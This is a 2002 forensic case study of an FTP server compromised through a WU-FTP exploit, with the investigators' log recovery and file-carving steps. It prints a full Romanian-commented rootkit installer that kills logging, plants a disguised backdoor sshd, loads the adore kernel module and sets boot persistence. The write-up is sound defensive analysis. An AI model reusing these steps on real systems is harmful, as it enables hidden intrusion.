Sign up for ISW's Newsletter
 
FTP Attack Case Study Part I: the Analysis by Anton Chuvakin on 04/10/02

This article presents a case study of a company network server compromise. The attack and other intruder's actions are analyzed. Lessons on designing and implementing security are drawn from the case (to be presented in the second part of the article). Computer forensics investigation is undertaken and results are presented. The article provides an opportunity to follow the trail of incident response for the real case.

I.

Example.com - a medium-sized computer hardware online retailer - understands the value of network and host security, since its business depends upon reliable and secure online transactions. Its internal network and DMZ setup was designed with security in mind, verified by outside experts, protected by latest in security technology and monitored using advanced audit trail aggregation tools. Following the philosophy of defense-in depth, two different firewalls and two different intrusion detection systems were used. The DMZ setup was of the bastion network type with one firewall separating the DMZ from the hostile Internet and another protecting internal networks from DMZ and Internet attacks. Two network IDS were sniffing the DMZ traffic. In the DMZ the company has gathered the standard set of network servers (all running some version of UNIX or Linux): web, email, DNS servers and also a dedicated FTP server, used to distribute hardware drivers for the company inventory. The FTP server, running RedHat 7.2, is the subject of this account. This server was the latest addition to the company network.

Let's shed some more light on the DMZ setup, since it provides an explanation why the attack went the way it did. Outside firewall provided NAT services and only allowed access to a minimum numbe of ports on each of the DMZ hosts. Evidently, those were TCP port 80 on web server, TCP port 25 on the mail server, TCP and UDP ports 53 on DNS server and appropriate TCP ports (21,20) on the ftp server. No connections to outside machines were allowed from any DMZ machine. Internal firewall blocked all connections from the DMZ to internal LAN (no exceptions) and allowed connections that originated from the internal LAN to DMZ machines (only specified ports for management and configuration). The second firewall also worked as application-level proxy for web and other traffic (no direct connections to the Internet from internal LAN were allowed). In addition, each DMZ machine was hardened and ran a host-based firewall, only allowing connections on the same minimum number of ports from outside plus a port for remote management from the internal LAN as and NOT from other DMZ machines. While it is unwise to claim that their infrastructure was unassailable, it is quite reasonable to say that it was "better than most".

On Monday morning, company support team was alerted by a customer who was trying to download a drive update. He reported that FTP server "was not responding" to his connection attempts. Upon failing to login to FTP server remotely via secure shell, the support team member walked to a server room only to discover that the machine crashed and is not able to boot. The reason was simple - no operating system was found.

At that point, their incident response plan was triggered into action. Since FTP server was not of critical business value, it was decided to complete investigation before redeploying the server and to utilize other channels for software distribution temporarily. The primary purpose of investigation was to learn about the attack in order to secure the server against recurrence. The secondary focus was to trace the actions of the attacker.

II.

The main piece of evidence for my investigation was a 20 GB disk drive. No live forensics was possible since the machine crashed when running unattended. In addition, we had a set of log files from firewall and IDS, all nicely aggregated by netForensics (http://www.netForensics.com) software.

The investigation started from reviewing the traffic patterns. The thing that attracted the most attention was an IDS report with 3 high priority events - recent WU-FTP attack at about 02:29 on April 1. It appears that IDS signature base was updated with the new attack signatures, while the company FTP server FTP daemon software was not. Considering the above network infrastructures, we hoped there will be no more unpleasant security surprises. There were: syslog on the FTP server was not set for remote logging. Thus, no first hand attack information was available from the FTP server itself.

By analyzing the connection data from the machine that launched an attack, it was found that:

  1. The intruder probed the Example.com outside visible IP addresses at least several hours prior to the incident.
  2. Upon compromising the FTP server, the intruder tried to connect to other DMZ hosts and to some machines on the outside. All such attempts were unsuccessful.
  3. The attacker has uploaded a file to the FTP server.

The last item was another unpleasant surprise. How attacker was able to upload the file? The company system admin team was questioned and the unpleasant truth came out: the FTP server had a world-writable directory for customers to upload the log files used for hardware troubleshooting. Unrestricted anonymous uploads were possible to the "incoming" directory and it was set up in the most insecure manner possible: anonymous users were able to read any of the files uploaded by other people. Among other things, this presents a risk of FTP server being used to store pirated software by outside parties.

After network analysis part (it was easy due to netForensics advanced data correlation capabilities) is was time for a hard drive forensics. The disk was found to contain three partitions, "/", "/usr" and "/home". After the disk was connected to a forensics workstation, images of all partitions were taken:

dd if=/dev/hdc1 of=/home/hacked-ftp-hdc1

(and same for the two other partitions)

Upon mounting the partitions

mount -o ro,loop,noatime /home/hacked-ftp-hdc1 /mnt/hf-hdc1

it was found that all files were deleted.

Then, it was decided to look for fragments of log files (originally in /var/log) to confirm the nature of attack. The command:

strings /home/hacked-ftp-hdc1 | grep 'Apr 1'

took a while to run on a 2GB partition. It returned the following log fragments from the system messages log, the network access log and the FTP transfer log (fortunately, FTP server was using verbose logging of all transfers):

System log:

Apr  1 00:08:25 ftp ftpd[27651]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3], mozilla@
Apr  1 00:17:19 ftp ftpd[27649]: lost connection to 192.168.2.3 [192.168.2.3]
Apr  1 00:17:19 ftp ftpd[27649]: FTP session closed
Apr  1 02:21:57 ftp ftpd[27703]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3], mozilla@
Apr  1 02:26:13 ftp ftpd[27722]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3], mozilla@
Apr  1 02:29:45 ftp ftpd[27731]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3], x@
Apr  1 02:30:04 ftp ftpd[27731]: Can't connect to a mailserver.
Apr  1 02:30:07 ftp ftpd[27731]: FTP session closed

It indicates that attacker was first looking around with a browser (standard password mozilla@). Then supposedly the exploit was run (password x@). The line about mailserver looks really ominous.

Apr  1 00:17:23 ftp xinetd[921]: START: ftp pid=27672 from=192.168.2.3
Apr  1 02:20:18 ftp xinetd[921]: START: ftp pid=27692 from=192.168.2.3
Apr  1 02:20:38 ftp xinetd[921]: EXIT: ftp pid=27672 duration=195(sec)
Apr  1 02:21:57 ftp xinetd[921]: START: ftp pid=27703 from=192.168.2.3
Apr  1 02:21:59 ftp xinetd[921]: EXIT: ftp pid=27692 duration=101(sec)
Apr  1 02:26:12 ftp xinetd[921]: EXIT: ftp pid=27703 duration=255(sec)
Apr  1 02:26:13 ftp xinetd[921]: START: ftp pid=27722 from=192.168.2.3
Apr  1 02:29:40 ftp xinetd[921]: START: ftp pid=27731 from=192.168.2.3
Apr  1 02:30:07 ftp xinetd[921]: EXIT: ftp pid=27731 duration=27(sec)

The above log excerpt shows that attacker has spent some time snooping around the ftp server directories.

Mon Apr 1 02:30:04 2002 2 192.168.2.3 262924 /ftpdata/incoming/mount.tar.gz b _ i a x@ ftp 0 * c

That shows the upload of some tools. All downloads initiated from the FTP server to the attacker's machine have failed due to rules on the company outside firewall. But by that time the attacker already had a root shell from the exploit.

Two conclusions can be drawn from the above data. First, the server was indeed compromised from outside the perimeter, using the recent FTP exploit (see http://online.securityfocus.com/bid/3581 and http://www.cert.org/advisories/CA-2001-33.html for more details) using a machine at 192.168.2.3 (address sanitized!). Second, the attacker managed to get some files onto the victim host.

We suspected that the file "mount.tar.gz" contained a rootkit. We were interested whether the attacker managed to install it and what was the tool functionality. Thus the hunt for the rootkit began.

Before sending the heavyweights (i.e. forensics toolkits) into battle, the strings file (i.e. the output of "strings /home/hacked-ftp-hdc1") was grepped for various interesting words. Another productive way to find stuff (text-only) is to load the entire strings output in your favorite UNIX pager program (such as "less") and then look for interesting keywords. The latter method allows one to look at strings that surround the interesting one.

The apparent search keywords were "mount.tar.gz", attacker's IP address (192.168.2.3), "incoming" (for the path name to the FTP directory) and some others.

The next piece of evidence that surfaced was a ncftp log fragment. NcFtp is a UNIX/Linux FTP client, that preserves its own log file of outbound connections for the purposes of bookmarking them for easy return. 

SESSION STARTED at:  Mon Apr  1 02:21:17 2002
   Program Version:  NcFTP 3.0.3/635 April 15 2001, 05:49 PM
   Library Version:  LibNcFTP 3.0.6 (April 14, 2001)
        Process ID:  27702
          Platform:  linux-x86
             Uname:  Linux|ftp|2.4.7-10|#1 Thu Sep 6 17:27:27 EDT 2001|i686
          Hostname:  localhost.localdomain  (rc=4)
          Terminal:  dumb
00:21:17  Resolving 192.168.2.3...
00:21:17  Connecting to 192.168.2.3...
00:21:17  Could not connect to 192.168.2.3: Connection refused.
00:21:17  Sleeping 20 seconds.

There were several of those messages, indicative of several failed connection attempts. netForensics network traffic data also shows the attacker trying to ping the outside hosts (also unsuccessful).

Next keyword search in strings output brought much larger fish - a list of files in rootkit and its installation script. Unfortunately, it turned out to be the high point of the investigation.

List of rootkit files:

  • a.sh
  • adore-0.42.tar.gz
  • sshutils.tar.gz
  • utils.tar.gz

Below, we provide a complete rootkit installation script with added comments (likely, a.sh from the above list):

#!/bin/sh
#seting paths
PATH='.:~/bin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11/bin:/opt/bin:
/usr/local/sbin:/usr/local/bin:/usr/local/kde/bin:/usr/local/mysql/bin:
/opt/gnome/bin'
#unseting the histifle
unset HISTFILE
export HISTFILE=/dev/null

<< makes sure that history file in shell in not written >>

#making the directories
echo '[Facem directoarele]'
uname -r |awk '{print $1}'|while read input ;do mkdir /lib/modules/$input/.modinfo;done
sleep 1
if [ -d /etc/sysconfig/console ];then
        echo 'Dir found'
        else
        mkdir /etc/sysconfig/console
        echo '/etc/sysconfig/console created'
if [ -d /usr/info/.1 ];then
        echo 'Dir found'
        else
        mkdir /usr/info/.1
        echo 'files dir created'
sleep 1

<< prepares for installation>>

#dezarhivam
echo '[dezarhivam]'
tar zxvf adore-0.42.tar.gz
sleep 3
tar zxvf sshutils.tar.gz
sleep 3
tar zxvf utils.tar.gz

<< unpacks all components, the word above means 'unarchiving' in Romanian >>

# read only logs until we finish
chattr +ia /var/log/messages
chattr +ia /varlog/secure
chattr +ia /var/log/maillog
chattr +ia /root/.bash_history
#killing syslogs
killall -9 syslogd
killall -9 klogd

<< the above makes sure that logs are not written by killing the daemon and 
making the log files immutable by setting the file attribute>>

#copying ssh files/confs
echo '[SSH part]'
cd ../sshutils
mv .napdf /etc/sysconfig/console/
mv .racd /etc/sysconfig/console/
mv .radd /etc/sysconfig/console/
mv .seedcf /etc/sysconfig/console/
mv nscd /usr/local/bin
chown root.root /usr/local/bin/nscd
cd /tmp/mount
#starting ssh
/usr/local/bin/nscd -q

<< the above deploys and starts backdoor sshd daemon>>

#kernel module 
cd /tmp/mount/adore
./configure
make
sleep 27
#copiem modulele
uname -r |awk '{print $1}'|while read input ;do cp adore.o /lib/modules/$input/.modinfo/arpd.o;done
uname -r |awk '{print $1}'|while read input ;do cp cleaner.o /lib/modules/$input/.modinfo/arpd-use.o;done
uname -r |awk '{print $1}'|while read input ;do cp ava /lib/modules/$input/.modinfo/a;done
#inseram modulele
uname -r |awk '{print $1}'|while read input ;do /sbin/insmod /lib/modules/$input/.modinfo/arpd.o;done
uname -r |awk '{print $1}'|while read input ;do /sbin/insmod /lib/modules/$input/.modinfo/arpd-use.o;done
#hiding directories
uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h /etc/sysconfig/console;
doneuname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h /usr/info/.1;done
uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a i `cat /etc/sysconfig/
console/.piddr`;done

<< adore LKM is deployed to hide malicious hacker resources>>

#copiing boot file
cd /tmp/mount
cp randoms /etc/rc.d/init.d/
#next faze
updatedb&
sleep 1
cd /root
chattr +ia .bash_history

<< creating a boot-up script and (for unclear reason) updating file locations for search (updatedb)>>

#utils
cd /tmp/mount/utils
mv fsch2 /etc/cron.daily/
mv imp /usr/info/.1
mv slc /usr/info/.1
mv lil /usr/info/.1
mv sense /usr/info/.1

<< denial of service tools are deployed. Hey, you never know what might
lurk in the cyberworld... Some tools were not identified (e.g. fsch2) >>

#sys configs 
echo '/usr/local/bin/nscd -q' >>/etc/rc.d/rc.sysinit
echo '/etc/rc.d/init.d/randoms >/dev/null &' >>/etc/rc.d/rc.sysinit

<< makes sure adore and backdoor sshd are started on bootup>>

chattr +ia /etc/rc.d/rc.sysinit
#ending
uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a u /tmp/mount/adore;done
rm -rf /tmp/mount*
/etc/rc.d/init.d/syslog start &
sleep 5 
chattr -ia /var/log/messages
chattr -ia /var/log/secure
chattr -ia /var/log/maillog
echo 'DONE'

<< removes evidence and putting the logs back to normal>>

It is worthwhile to note, that comments within the rootkit installation script are in Romanian. For whatever reason, several of other known rootkits are also of Romanian origin (e.g. http://project.honeynet.org/scans/scan18/som/som10.txt).

Next section of strings file contained more scriptlets used by the rootkit, headers from some denial of service tools (imp flooder, slice DoS tool, look them up at packetstorm), parser for LinSniffer logs (another old favorite of script kiddies) and a hunk of adore LKM source code with author's headers intact. In addition, a fragment of what appears to be a SSH backdoor configuration file was found. Overall, it turned out to be a pretty low-tech rootkit, using only publicly available components.

The next goal was to recover all of the rootkit files. While none of the components appear to use new penetration technology, it is still of interest. For example, usage of kernel-level backdoor (adore) is a mainstream rootkit shows that casual system administrators will likely miss it on their systems.

Coroner's toolkit tct (see http://www.fish.com/tct/ and http://www.porcupine.org/forensics/tct.html) was then used to look for the rootkit. We also tried using recently released computer forensics toolkit - TASK by Brian Carrier from @Stake. TASK is an improvement over tct since it integrates tct-utils (that can be used to built better malicious activity timeline) with core tct functionality. TASK also integrates with "autopsy" forensic browser to provide a nice interface for file browsing, recovery and timeline creation on multiple disk images.

Unfortunately, most of the tct and TASK toolkits functionality will not work on a RedHat 7.2 machine. Due to certain changes in filesystem code, the inode data (that was used to recover deleted files) is now zeroed out. The tips from Linux Undeletion HOWTO (http://www.praeclarus.demon.co.uk/tech/e2-undel/html) and tools like recover (http://recover.sourceforge.net/linux/recover/), e2undel (http://e2undel.sourceforge.net/) based on the above HOWTO will all fail to recover a single file. Excellent utilities were rendered unusable. However, it is not a bad thing for many people, computer forensic examiners excluded, since deleted data should probably stay deleted.

Fortunately, the tct kit also implements a more painful way to recover the files - but it will work on RedHat 7.2 with zeroed inodes. Unrm/lazarus tool provides a good chance to recover at least something. Lazarus looks at all the disk blocks, determines their type (such as text, email, C code, binary, archive or something else) using UNIX "file" command. It also concatenates consecutive blocks of the same type together, assuming that they are pieces of the same file. This algorithm will most likely to bring back text data than binary data though.

To run the tool, one first need to create a file containing all the unallocated space from the partition:

./tct-1.09/bin/unrm /home/hacked-ftp-hdc1 > /home/hacked-ftp-hdc1.unrm

Then lazarus tool is then run:

./tct-1.09/lazarus/lazarus /home/hacked-ftp-hdc1.unrm

It takes several hours to process the 2GB partition. As a result, two directories are formed: "blocks" contains the recovered files (or just blocks) "www" contains a HTML map of all the recovered files (if desired, the output can be looked at with a browser).

In our investigation we were looking for an archive containing the rootkit or any of its components. There are many ways to analyze the "blocks" directory (all are slow, some are excruciatingly slow). To look for gzip-compressed files we do:

find blocks -type f -print | xargs file {} | grep gzip > /home/hacked-ftp-hdc1.blocks-gzipped

Since we also know the size of the rootkit (reported in the above fragment of the FTP transfer log).

awk -F ':' '{print $1}' /home/hacked-ftp-hdc1.blocks-gzipped | xargs -i ls -l {}

Unfortunately, nothing was found. More data slicing and dicing follows, also with zero results. For example, below we show an attempt to find more C source files:

find blocks -type f -print | xargs file {} | grep 'C program text'

Nothing related to the incident is found by this and other commands.

As a last resort, an even newer forensics tool called "foremost" was used. It was recently released [reportedly] by USAF Office of Special Investigations. "Foremost" uses customizable binary data signatures to look for files within the disk image file. I created a signature for the tool to look for GNU gzip archives since the rootkit and its components (shown above) were all gzipped tar archives. The USAF tool brilliantly did its job where TCT failed!

Two of the rootkit components were recovered (adore.tar.gz and utils.tar.gz). Adore kit contained a standard adore LKM v.0.42 (as distributed by TESO). Utils package contained the following five binaries:

-rw-r--r--    1 root     root        14495 Jan 22 23:37 fsch2
-rwxr-xr-x    1 root     root         8368 Aug  7  2000 imp
-rwxr-xr-x    1 root     root         7389 Jan 15  2001 lil
-rwxr-xr-x    1 root     root         4060 Jun 25  2000 sense
-rwxr-xr-x    1 root     root        15816 Oct 13  2000 slc

Imp and slc were identified above as DoS tools. Lil turned out to be a sniffer. Its string output matched the one shown on the http://project.honeynet.org/papers/enemy3/ Sense was the Perl parser for sniffer output (also found earlier from strings of the whole disk image). Fsch2 remains a mystery. In the rootkit installation file it is set to run daily from cron. It has strings indicative of network connectivity (socket, bind, listen, accept, etc), the ever-ominous /bin/sh and the string that looks like a password. It might be some sort of network backdoor.

At that point, investigation was closed. Attacker's ISP was notified, and no action was taken by them (normal practice). Just one of those throw-away dial-up accounts... In the second part of the article, we will discuss the security lessons this incident teaches us.

Anton Chuvakin, Ph.D., GCIA (http://www.chuvakin.org) is a Senior Security Analyst with a major information security company. His areas of infosec expertise include intrusion detection, UNIX security, honeypots, etc. In his spare time he maintains his security portal http://www.info-secure.org
Rate this article
Home | About Us | Contact Us | Privacy Policy | Site Map

All images, content & text (unless other ownership applies) are © copyrighted 2000 -  , Infosecwriters.com. All rights reserved. Comments are property of the respective posters.